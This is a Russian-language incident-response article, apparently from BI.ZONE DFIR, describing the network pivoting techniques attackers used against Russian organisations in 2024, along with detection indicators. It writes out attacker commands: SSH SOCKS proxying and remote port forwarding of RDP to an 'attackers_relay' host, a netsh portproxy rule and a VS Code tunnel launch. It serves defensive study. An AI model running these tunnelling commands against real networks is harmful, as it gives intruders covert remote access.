От классики до экзотики: какие техники пивотинга использовались в 2024 году
«Плоская» (несегментированная) сеть сейчас встречается редко, к тому же почти в каждой инфраструктуре есть как минимум файрвол. Чтобы добраться до важных сегментов, злоумышленники прибегают к пивотингу — технике, позволяющей атакующему использовать скомпрометированное устройство в качестве опорной точки для проникновения в другие части сети. Опорная машина в таком случае выступает в роли шлюза. Такие шлюзы могут объединяться в цепочки, что позволяет злоумышленнику прокладывать маршрут до самых труднодоступных участков инфраструктуры. Основная цель этого этапа — обойти все помехи, которые препятствуют обмену данными между атакующим и целевым устройством.
Мы расскажем об актуальных методах пивотинга, используемых реальными злоумышленниками при атаках на российские организации, и о наиболее популярных подходах, с которыми команда BI.ZONE DFIR сталкивалась при расследовании инцидентов в 2024 году. Еще мы опишем наиболее интересные, «экзотические» способы пивотинга, которые встречались крайне редко или не встречались вообще.
Прямой проброс портов (port forwarding)
Смоделируем следующую ситуацию. В инфраструктуре есть две сети: 172.16.10.0/24 и 192.168.0.0/24. При этом сеть 172.16.10.0/24 изолирована: на роутере средствами ACL запрещены любые подключения к 172.16.10.0/24 из 192.168.0.0/24. Возникла необходимость обмена файлами. Для этого был развернут файловый сервер с двумя сетевыми интерфейсами (192.168.0.10 и 172.16.10.15), доступный из обеих сетей. Злоумышленник скомпрометировал хост 192.168.0.5: в результате успешной фишинговой атаки развернул реверс-шелл на нем. Однако ценные данные находятся в соседней сети, на АРМ 172.16.10.21. В таком случае киберпреступник может использовать в качестве шлюза тот самый сервер с двумя сетевыми интерфейсами . Скомпрометировав его, злоумышленник пробрасывает на нем порты до целевого хоста и далее взаимодействует с сервером через эрзац-шлюз. Выглядит это так:
Пивотинг с прямым пробросом портов
В таком случае соединение устанавливается напрямую от атакующего к опорному компьютеру. К преимуществам такого способа можно отнести скорость передачи данных и простоту реализации. Но есть у него и значительные недостатки:
- Необходимость напрямую подключаться к опорному хосту. Это может быть сложно, если он находится в глубине сети. В нашем примере для доступа к целевому компьютеру злоумышленнику придется каждый раз подключаться через
192.168.0.5. - Невозможность работы через NAT или файрвол, если запрещены входящие подключения. Атакующему необходимо подключаться к опорному компьютеру с другого внутреннего устройства.
- Зависимость от точки входа. Это следствие предыдущих пунктов: вместе с доступом к точке входа (в нашем случае это
192.168.0.5) злоумышленник теряет и доступ ко всем целевым системам.
Обратный проброс портов (backconnect port forwarding)
Альтернативой прямому пробросу портов является обратный или удаленный проброс. При таком способе опорный компьютер сам инициирует соединение с хостом злоумышленника (backconnect). То есть в схеме появляется дополнительный внешний хост, к которому опорное устройство также может получить доступ.
Разовьем описанную выше ситуацию и представим, что злоумышленник уже добрался до опорного хоста 192.168.0.10 (172.16.10.15), но использовал не прямой проброс портов, а обратный — на собственный сервер через релей
В таком случае схема работы будет выглядеть так:
Пивотинг с прямым пробросом портов
Затем через проброшенный порт злоумышленник подключается к опорному хосту и может взаимодействовать с ним через целевое устройство. Такой подход похож на использование реверс-шелла, но до сервера злоумышленника пробрасывается не командная оболочка, а только канал связи с конкретным портом.
Злоумышленник может использовать обратный проброс портов сразу на собственный управляющий сервер. Однако такое встречается редко по следующим причинам:
- Некоторые инструменты используют собственные релеи, которые предоставляют разработчики, из-за чего эти релеи невозможно или затруднительно изменить.
- Злоумышленники стараются соблюдать OpSec
и не демонстрировать собственный управляющий сервер при реальных атаках. На релеях, как правило, аудит полностью отключен, так что даже если сервер попадет в руки правоохранительным органам, они вряд ли смогут определить атакующего. - Во многих организациях существует геофильтр, запрещающий подключение к иностранным ресурсам, не входящим в белый список. В таком случае проще развернуть релей в хостинге той страны, в которой находится целевая организация.
Преимущества обратного проброса портов заключаются в том, что появляется возможность обходить NAT и сетевые СЗИ, блокирующие входящие подключения, отсутствует зависимость от точки входа и упрощается доступ до опорного компьютера. К недостаткам можно отнести возрастающую нагрузку на сеть, так как соединение с релеем должно быть всегда открытым. А также необходимость в большинстве случаев приносить на опорный хост дополнительный инструментарий, ведь любое инвазивное воздействие на систему повышает риск обнаружения.
Туннелирование — это инкапсуляция одного сетевого протокола в другой. Один из примеров этого метода — VPN, когда создается безопасный канал для обмена данными между удаленными узлами. Однако киберпреступники адаптируют известные способы для своих нужд. Самые известные примеры — DNS- и ICMP-туннелирование.
При туннелировании схема работы будет аналогична переадресации портов обратного подключения. Различия станут видны, если спуститься на уровень пониже: от логической схемы взаимодействия до используемых протоколов. Так, при DNS-туннелировании в качестве релея будет выступать DNS-сервер, а передаваемые данные будут «вшиваться» в поддомены. Преимуществ у этого способа много:
- Скрытность сетевой активности. При трафике исходных протоколов в другие обнаружить сетевой туннель бывает сложно, к тому же трафик может быть зашифрован.
- Доступ к более низкоуровневым протоколам. При использовании сетевого туннеля атакующий может инкапсулировать протоколы уровня L3 или даже L2, если на опорной машине достаточно привилегий. Это открывает возможность проводить специфичные для этих протоколов атаки: ARP Spoofing, LLMNR Poisoning и т. д.
- Возможность обходить блокировки конкретных протоколов. Даже в самой изолированной сети, как правило, есть набор нефильтруемых протоколов, например DNS. Инкапсулируя вредоносный трафик в них, атакующий обходит эти блокировки.
Недостатки у этого способа тоже есть: инвазивность инструментов на целевом устройстве, часто — необходимость дополнительных привилегий на опорном хосте и низкая скорость обмена данными.
Проксирование, как и проброс портов, может быть прямым и обратным (backconnect proxy). Во многом эти способы похожи. Отличие заключается в том, что в случае проксирования пробрасывается не конкретный порт, а сетевой доступ до всего пула адресов, доступных с опорного устройства. В этом и заключается главное преимущество проксирования перед обратным пробросом: атакующему не нужно подключаться к опорной машине, и он не ограничен одним проброшенным портом. К недостаткам можно отнести необходимость в большинстве случаев приносить на опорный хост инвазивные инструменты.
Тренд на использование инструментов LOTL (Living-On-The-Land) существует давно и связан с возросшим уровнем защиты в организациях. Рассмотрим самые популярные способы пивотинга, при которых используются стандартные средства ОС.
Проброс портов через SSH
Классический способ пивотинга — это проброс портов через SSH. SSH может работать как в режиме socks-прокси, так и в режимах прямого и удаленного проброса портов. В режиме прокси запуск выглядит так:
$ ssh -D 1234 -N -f attacker@attackers_relay
После выполнения такой команды атакующий может использовать релей как прокси-сервер, слушающий порт 1234 и перенаправляющий трафик через опорную машину внутрь сети.
Удаленный проброс портов выглядит следующим образом:
$ ssh -R 1234:127.0.0.1:3389 -N -f attacker@attackers_relay
После выполнения этой команды атакующий может подключаться к хосту attackers_relay на порт 1234, а SSH сам пробросит это соединение до порта 3389 на опорной машине.
Прямой проброс выполняется так:
$ ssh -L 1234:target_host:3389 user@target_machine
После выполнения этой команды на опорном устройстве к нему можно подключиться на порт 1234, а SSH-клиент на опорном устройстве перенаправит трафик на целевой хост на порт 3389.
Все эти способы давно известны и достаточно хорошо детектируются. Однако они все еще популярны среди киберпреступников, так как использование неинвазивных инструментов, пусть и во вредоносных целях, вызывает гораздо меньше подозрений, чем сторонние решения.
Проброс портов через netsh
Существует возможность нативного проброса портов через Network Shell в Windows-системах:
C:\>netsh interface portproxy v4tov4 listenport=1234 connectport=3389 connectaddress=target_host
После этой команды подключение к порту 1234 опорного компьютера приведет к перенаправлению на порт 3389 целевого хоста. При правильно настроенном аудите событий и, тем более, при наличии на хосте EDR-решения этот способ становится практически бесполезным. Такую активность видно сразу, и ее невозможно замаскировать под легитимную. Способ давно и хорошо известен, однако, в силу легкости детектирования, широкого распространения не получил и в реальных инцидентах встречался редко. Примечательно, что при реагировании на легитимные атаки пентестеров этот способ, как и способы с SSH, встречался намного чаще.
Злоумышленники нередко используют в атаках легитимные инструменты, которые разрабатывали для обычных пользователей, а не для киберпреступников. Однако если такие инструменты есть в инфраструктуре — это как минимум причина насторожиться и проверить легитимность их использования.
Ngrok
Ngrok стал едва ли не стандартным средством пивотинга в Windows-системах у многих злоумышленников, атакующих российские организации. Так, в атаках синдикатов Shadow wolf и Twelfth hyena он встречался почти в каждом инциденте, с которым столкнулась команда BI.ZONE DFIR.
Ngrok работает в режиме обратного проброса портов (remote port forwarding), и, как правило, используется для проброса порта 445 или 3389, но есть возможность пробрасывать любой TCP-, HTTP- или TLS-эндпоинт. Под эндпоинтом в терминологии документации Ngrok понимается сервис, обслуживающий указанный порт.
Детектировать Ngrok на конечных точках несложно. Есть три основных момента, которые выдают его активность:
- Резолвы поддоменов
ngrok.com. В документации представлена инструкция, как использовать кастомный домен в качестве релея, однако эта возможность доступна только при пробросе HTTP или TLS. Также вскрыть наличие Ngrok в инфраструктуре можно по обращениям к домену и поддоменамequinox.io. Ngrok обращается к этому ресурсу за обновлениями. - Создание службы с именем
ngrok. - Специфичный паттерн IP-адреса при аутентификации на Windows-системах из-под Ngrok. При подключении, например по RDP, Windows логирует не
127.0.0.1, как ожидается, а специфичный паттерн адреса, характерный только для Ngrok —::%16777216.
Кастомный агент может затруднить обнаружение Ngrok на конечной точке, так как утилита предоставляет собой набор библиотек на Go, Python, JS и Rust для создания таких агентов. Можно даже не создавать агент, а использовать, например SSH для проброса порта на релей Ngrok.
Localtonet
Этот инструмент пивотинга в Windows-системах стал вторым по популярности в 2024 году. Localtonet — кроссплатформенный инструмент, но использовался он преимущественно на Windows. Чаще всего его применяли группировки, занимающиеся вымогательством. Особенно часто использовала группировка Dirty Wolf.
В отличие от Ngrok, Localtonet предоставляет не только возможность удаленной переадресации портов, но и режим работы в виде обратного соединения SOCKS-сервера и даже файлового сервера. Однако, как правило, режим файлового сервера не используется. Вектор применения почти аналогичен Ngrok: обычно это проброс портов 3389 и 445, но иногда и применение в виде SOCKS-прокси.
Детектировать использование Localtonet также несложно: его выдают обращения к поддоменам localtonet.com и localto.com, как и в случае с Ngrok. Есть возможность задать кастомное доменное имя для релея, но только для проброса http.
Chisel
Несмотря на то, что Chisel предлагает множество возможностей для пивотинга, этот инструмент использовали намного реже, чем Ngrok или Localtonet. Вероятно, это связано с тем, что для работы с Chisel требуется развертывание дополнительных ресурсов (релея) в инфраструктуре злоумышленника, а опции использовать этот инструмент с настройками по умолчанию просто нет.
Chisel, подобно Localtonet, умеет работать как в режиме проброса порта, так и в режиме SOCKS-прокси. Детектировать использование Chisel сложнее всего, так как для связи с собственным релеем используется веб-сокеты поверх https. К тому же релей создается самим злоумышленником и поэтому может быть абсолютно непредсказуем.
Собрали топ инструментов для пивотинга, которые изначально задумывались и распространялись в качестве тулинга для тестирования на проникновение. Если в вашей инфраструктуре есть эти инструменты, стоит внимательнее отнестись к ее безопасности.
Gsocket
Gsocket
В 2024 году gsocket наиболее часто использовали при пивотинге в *nix-сегментах инфраструктуры для большей части злоумышленников, занимающихся хактивизмом. Это объясняется простотой применения gsocket. При использовании конфигурации по умолчанию не требуется дополнительной конфигурации или развертывания дополнительных ресурсов. Gsocket использует собственный набор релей-серверов, а инсталляция инструмента в систему заключается в запуске одного скрипта, который сам определит способы закрепления в системе и реализует их. К тому же при инсталляции gsocket в систему он выдаст ASCII-строку, являющуюся уникальным идентификатором. Его достаточно для подключения к системе. Еще одним примечательным свойством установочного скрипта является таймстомпинг: при запуске он изменяет временные метки установленных файлов.
Детектировать использование gsocket просто, особенно если есть аудит конечных точек. Инсталляция через скрипт порождает большое количество алертов от СЗИ: при запуске скрипта от root создаются и запускаются systemd-юнит службы. В ином случае закрепление происходит через crontab, при этом сама отложенная задача выглядит подозрительно и легко обнаруживается, так как сильно выделяется. А также во всех случаях запуск gsocket прописывается в .bash_profile или .bash_login пользователя, от которого был запуск. Таймстомпинг также легко детектируется: для реализации этой техники используется способ изменения временной метки через touch -t STAMP, что само по себе привлекает достаточно внимания. К тому же таймстомпинг не модифицирует CHANGE-метку, отвечающую за изменение инода файла в файловой системе, а не самого файла.
Конечно, при любом грамотном использовании и изменении конфигурации инструмента, а также установочных скриптов, стандартные подходы к детектированию не подойдут. Однако это справедливо практически для любого инструмента. Во время расследований инцидентов в 2024 году мы не встречали измененных gsocket.
Rsocks
Под Rsocks мы понимаем множество похожих друг на друга решений: их на GitHub десятки. Все они работают примерно одинаково — как SOCKS-прокси обратного соединения. Возможности Rsocks реализованы и в других инструментах, которые обладают даже большим набором опций. Например, C2-фреймворки или инструменты двойного назначения, вроде Chisel и Localtonet. Но злоумышленники все равно предпочитают отдельным реализациям backconnect SOCKS, потому что:
- Инструмент, решающий только одну задачу, проще в использовании и развертывании, чем многозадачный.
- Инструмент легко изменять под себя, что дает гибкость и позволяет обходить простые сигнатуры защитных решений.
Детектировать активность Rsocks сложно, и часто детект зависит от конкретной реализации, способа развертывания и запуска. Однако при использовании средств проброса портов или проксирования подозрение должна вызывать возросшая сетевая активность отдельно взятого хоста и неестественность активности на других машинах в сети. Например, стоит провести проверку, если доменный администратор подключается к DC по RDP с неизвестного или устаревшего файлового сервера.
Пока эти способы редко встречались в атаках на российские организации или не встречались вовсе. Но в будущем они могут стать популярными, а значит, стоит узнать про них уже сейчас.
Виртуальные машины
Способ заключается в том, чтобы использовать не реальные сетевые интерфейсы опорной машины, а интерфейсы виртуальных машин, через которые можно инкапсулировать трафик. То есть на опорное устройство нужно установить виртуальное. Метод использования виртуальных машин для закрепления хорошо описан в статье
Особенность метода в том, что на опорный хост устанавливается реальная виртуальная машина, и все действия выполняются внутри нее. При этом в ней у атакующего есть максимальные права, в то время как на хосте таких прав может не быть. В случае если у атакующего на хосте нет административных прав, создается NAT-интерфейс, который может работать только на L4 и выше. Но внутри виртуальной машины злоумышленник может настроить и использовать любой L3-туннель, в то время как гостевые интерфейсы будут обрабатываться хостом как L4-сокеты. То есть без административных прав атакующий получает L3-туннель, работающий поверх L4. А если есть административные права на хосте, с помощью сетевого моста злоумышленник может прокинуть себе L2-туннель, что открывает ему еще более широкие возможности.
Мы один раз встретились с этим методом на практике. Злоумышленник пробросил L2-туннель между опорным хостом и собственным управляющим сервером.
Преимуществ у этого метода достаточно много:
- Атакующий может пробросить L3- или даже L2-туннель до опорной машины, что открывает ему широкие возможности для постэксплуатации.
- Все действия атакующего происходят внутри виртуальной машины, куда не может дотянуться EDR или AV.
- Сама по себе установка виртуальной машины на хост не вызывает подозрений. Даже когда SOC-специалист будет анализировать события запуска виртуальной машины, маловероятно, что он сразу подумает о попытке пивотинга.
Visual Studio Code
Иногда злоумышленники задействуют непредсказуемые инструменты для своих атак. Например, используют Visual Studio Code для пивотинга и удаленного управления устройством. Смысл метода заключается в использовании фичи VS Code Remote Tunnels. Основная ее функция — предоставить возможность работать с кодом на удаленном сервере. При этом для всех сетевых взаимодействий в качестве транспорта используются https и SSH. Рассмотрим детальнее, как злоумышленник может воспользоваться этим методом:
- На машине, через которую киберпреступник собирается пивотиться или удаленно и скрытно ей управлять, должен оказаться cli-интерфейс VS Code. Даже если его там нет, можно принести на устройство Portable-версию — это подписанный легитимный бинарный файл, который не вызовет подозрений у СЗИ.
- Через cli-интерфейс, предоставляемый бинарным файлом
code.exe, активируется туннель. Команда на запуск выглядит следующим образом:code.exe tunnel. - Доступ к VS Code (то есть доступ к системе) организуется через веб-панель, ссылку на которую
code.exeпредоставляет после запуска туннеля. При этом веб-панель расположена на доменеvscode.dev, принадлежащему Microsoft. То есть в качестве релея используются серверы Microsoft. Более того, в документации на VS Code прямо указано, что для работы этого способа каких-либо изменений в NAT и файрволе не требуется. - Получение доступа к веб-панели — самый сложный этап. Для этого атакующий должен авторизоваться в GitHub или Microsoft с учетной записью пользователя.
Мы рассмотрели наиболее популярные в 2024 году способы пивотинга, с которыми команда BI.ZONE DFIR встретилась на практике расследований реальных инцидентов. Некоторые из них пока не распространены в нашей стране. Другие используются в атаках на российские компании весьма активно. При этом злоумышленники могут использовать легитимные компоненты ОС, скрывая свое присутствие.